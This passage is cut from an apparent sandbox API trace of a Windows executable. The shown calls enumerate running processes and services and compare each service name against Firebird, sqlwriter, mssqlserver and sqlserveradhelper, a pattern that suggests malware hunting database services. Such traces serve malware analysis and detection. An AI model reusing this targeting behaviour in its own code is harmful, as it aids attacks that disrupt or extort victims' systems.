(lpString="transmission-inclusion.exe") returned 26 [0199.797] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0199.798] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0199.798] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0199.799] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0199.799] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0199.799] lstrlenW (lpString="vincentkills.exe") returned 16 [0199.799] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0199.800] lstrlenW (lpString="armstrong.exe") returned 13 [0199.800] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0199.801] lstrlenW (lpString="superb_guilty.exe") returned 17 [0199.801] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0199.801] lstrlenW (lpString="conditional employer.exe") returned 24 [0199.801] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0199.802] lstrlenW (lpString="middle shown.exe") returned 16 [0199.802] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0199.803] lstrlenW (lpString="forced_online.exe") returned 17 [0199.803] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0199.803] lstrlenW (lpString="knitting.exe") returned 12 [0199.803] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0199.804] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0199.804] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0199.805] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0199.805] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0199.806] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0199.806] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.806] lstrlenW (lpString="svchost.exe") returned 11 [0199.807] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0199.807] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0199.807] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.808] lstrlenW (lpString="conhost.exe") returned 11 [0199.808] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0199.809] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0199.809] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.810] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.810] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0199.810] lstrlenW (lpString="WMIADAP.exe") returned 11 [0199.811] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0199.811] lstrlenW (lpString="11.exe") returned 6 [0199.811] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.812] lstrlenW (lpString="cmd.exe") returned 7 [0199.812] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.813] lstrlenW (lpString="conhost.exe") returned 11 [0199.813] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0199.813] lstrlenW (lpString="mode.com") returned 8 [0199.814] Process32NextW (in: hSnapshot=0x31c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0199.814] CloseHandle (hObject=0x31c) returned 1 [0199.814] Sleep (dwMilliseconds=0x1f4) [0200.340] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889a70 [0200.340] EnumServicesStatusExW (in: hSCManager=0x889a70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0200.341] GetLastError () returned 0xea [0200.341] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x7fea38 [0200.346] EnumServicesStatusExW (in: hSCManager=0x889a70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7fea38, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7fea38, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0200.347] CloseServiceHandle (hSCObject=0x889a70) returned 1 [0200.347] lstrlenW (lpString="Appinfo") returned 7 [0200.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0200.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0200.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0200.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0200.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0200.347] lstrlenW (lpString="AppXSvc") returned 7 [0200.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0200.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0200.347] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0200.347] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0200.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0200.348] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0200.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.348] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0200.348] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0200.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0200.348] lstrlenW (lpString="Audiosrv") returned 8 [0200.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0200.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0200.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0200.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0200.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0200.348] lstrlenW (lpString="BFE") returned 3 [0200.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0200.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0200.348] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0200.348] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0200.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0200.348] lstrlenW (lpString="BITS") returned 4 [0200.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0200.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0200.348] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0200.348] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0200.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0200.348] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0200.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.348] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0200.348] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0200.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0200.348] lstrlenW (lpString="CDPSvc") returned 6 [0200.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0200.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0200.348] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0200.348] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0200.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0200.348] lstrlenW (lpString="ClickToRunSvc") returned 13 [0200.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.349] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0200.349] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0200.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0200.349] lstrlenW (lpString="ClipSVC") returned 7 [0200.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0200.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0200.349] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0200.349] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0200.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0200.349] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0200.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.349] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0200.349] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0200.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0200.349] lstrlenW (lpString="CryptSvc") returned 8 [0200.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0200.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0200.349] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0200.349] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0200.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0200.349] lstrlenW (lpString="DcomLaunch") returned 10 [0200.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0200.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0200.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0200.349] lstrlenW (lpString="Dhcp") returned 4 [0200.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0200.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0200.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0200.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0200.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0200.349] lstrlenW (lpString="Dnscache") returned 8 [0200.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0200.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0200.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0200.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0200.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0200.350] lstrlenW (lpString="DoSvc") returned 5 [0200.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0200.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0200.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0200.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0200.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0200.350] lstrlenW (lpString="DPS") returned 3 [0200.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0200.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0200.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0200.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0200.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0200.350] lstrlenW (lpString="DusmSvc") returned 7 [0200.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0200.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0200.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0200.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0200.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0200.350] lstrlenW (lpString="EventLog") returned 8 [0200.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0200.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0200.350] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0200.350] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0200.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0200.350] lstrlenW (lpString="EventSystem") returned 11 [0200.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0200.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0200.350] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0200.351] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0200.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0200.351] lstrlenW (lpString="FontCache") returned 9 [0200.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0200.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0200.351] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0200.351] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0200.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0200.351] lstrlenW (lpString="gpsvc") returned 5 [0200.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0200.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0200.351] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0200.351] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0200.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0200.351] lstrlenW (lpString="iphlpsvc") returned 8 [0200.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.351] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0200.351] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0200.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0200.351] lstrlenW (lpString="KeyIso") returned 6 [0200.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0200.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0200.351] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0200.351] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0200.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0200.351] lstrlenW (lpString="LanmanServer") returned 12 [0200.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0200.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0200.351] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0200.351] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0200.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0200.351] lstrlenW (lpString="LanmanWorkstation") returned 17 [0200.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.351] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0200.351] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0200.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0200.352] lstrlenW (lpString="lfsvc") returned 5 [0200.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0200.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0200.352] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0200.352] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0200.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0200.352] lstrlenW (lpString="LicenseManager") returned 14 [0200.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0200.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0200.352] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0200.352] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0200.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0200.352] lstrlenW (lpString="lmhosts") returned 7 [0200.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0200.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0200.352] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0200.352] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0200.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0200.352] lstrlenW (lpString="LSM") returned 3 [0200.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0200.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0200.352] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0200.352] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0200.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0200.352] lstrlenW (lpString="MpsSvc") returned 6 [0200.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0200.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0200.352] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0200.352] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0200.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0200.352] lstrlenW (lpString="NcbService") returned 10 [0200.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0200.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0200.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0200.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0200.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0200.353] lstrlenW (lpString="netprofm") returned 8 [0200.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0200.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0200.353] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0200.353] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0200.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0200.353] lstrlenW (lpString="NlaSvc") returned 6 [0200.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0200.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0200.353] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0200.353] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0200.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0200.353] lstrlenW (lpString="nsi") returned 3 [0200.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0200.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0200.353] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0200.353] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0200.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0200.353] lstrlenW 